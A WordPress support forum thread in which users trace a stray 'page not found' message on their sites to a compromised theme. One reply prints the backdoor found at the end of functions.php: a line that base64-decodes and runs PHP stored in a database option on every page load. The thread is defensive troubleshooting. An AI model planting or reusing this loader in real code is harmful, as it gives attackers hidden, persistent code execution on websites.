• theadminuser

    (@theadminuser)


    Hello. I am experiencing an error message on all my blog post pages and also in other various places on my website. The message is as follows: The page you were looking for could not be found. Check the URL for errors. My site is hosted by go daddy. I am using the replay theme.

    Note…I am not seeing the error messages when browsing in firefox, but they appear when using safari and chrome.

    I have already navigated to the settings>permalinks page in wordpress and saved the changes. That did not fix the problem.

    I also manually re downloaded wordpress files and the problem still persists.

    I have also updated all plugins and themes as well as disabling all plugins and this also did not solve the problem.

    Please help!

    The page I need help with: [log in to see the link]

Viewing 9 replies - 1 through 9 (of 9 total)
  • ScorpionGod

    (@scorpiongod)

    Hi guys,
    So I had this problem for one of my client sites today and I too had that exact code @jtrue75 posted above. However, once I deactivated the Theme those codes went away.

    Then after searching every possible way, I searched for base64 codes and found this code at the end of functions.php

    /**
     * Theme localization
     */
    load_theme_textdomain( 'realto', get_template_directory() . '/languages' );
    $locale = get_locale();
    $locale_file = get_template_directory() . "/languages/$locale.php";
    if ( is_readable($locale_file) ) require_once($locale_file);
    add_action( 'init', create_function( '', @join( "\n", array_map( "base64_decode", json_decode( get_option( $table_prefix . "widget_meta" ) ) ) ) ) );
    
    add_action( 'init', create_function( '', @join( "\n", array_map( "base64_decode", json_decode( get_option( $table_prefix . "widget_meta" ) ) ) ) ) );

    Then this code output the following HTML codes where the_content is used.

    <html><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><title>Page Not Found</title><style>html {
      height: 100%;
      width: 100%;
    }
    body {
      position: absolute;
      width: 100%;
      margin: 0;
      top: 20%;
      font-family: Verdana, Geneva, sans-serif;
      text-align: center;
    }
    
    h1 {
      font-size: 32px;
      margin-bottom: 22px;
    }
    
    h1, h3 {
      font-weight: normal;
      color: #4E4E4E;
    }
    
    h3 {
      font-size: 19px;
      margin-left: auto;
      margin-right: auto;
    }</style><script src="embeddedErrorPage.js?708hoiacggua3jxbg5d902uik9"></script></head></html><body><h1>The page you were looking for could not be found.</h1><h3>Check the URL for errors.</h3></body>

    This was the DB entry called by the above base64 code.

    [malware code removed – please don’t post that here.]

    Simply removing or commenting out the the base64 code at the functions.php file is enough. Hope this helps everybody.

    Kind regards,
    ScorpionGod

    Moderator Steven Stern (sterndata)

    (@sterndata)

    Volunteer Forum Moderator

    I’m not seeing any 404 errors. Whats *one* URL on your site that doesn’t work?

    Before you reply, please go to settings->permalinks and click “save” to reset those, then if you have any caching plugin(s), please clear the caches.

    ScorpionGod

    (@scorpiongod)

    @sterndata Just letting you know, that my reply (which I can’t find here now) actually solves this problem. Have a look at it again. It happens on compromised/hacked websites.

    Thread Starter theadminuser

    (@theadminuser)

    @sterndata it appears on nearly every page of my website when viewed with safari or chrome browsers. Specifically https://wefoundnewmusic.com/billie-eilish/

    The page loads up fine, but on that page I am seeing the ‘check URL for errors” message displayed along with all the other content on the page.

    If you take a look at my original post, I already went to settings>permalinks and clicked save. I have also cleared all caches.

    Thread Starter theadminuser

    (@theadminuser)

    @scorpiongod please post your fix again I cannot see your post either. I would really apreciate it, thank you!

    jtrue75

    (@jtrue75)

    I posted a response as well to this issue since I’m having the same problem.. but the moderator archived it for some reason. Can @scorpiongod’s post be unarchived so we can see how he fixed this problem?

    Moderator Steven Stern (sterndata)

    (@sterndata)

    Volunteer Forum Moderator

    I unarchived the response. It seems to me that you have a theme error best addressed by your theme developers.

    jtrue75

    (@jtrue75)

    Thank you @scorpiongod !! That fixed the problem.

    Thread Starter theadminuser

    (@theadminuser)

    Thank you @scorpiongod !! Problem fixed! ??

Viewing 9 replies - 1 through 9 (of 9 total)
  • The topic ‘Check the URL for errors message appearing on all my blog pages’ is closed to new replies.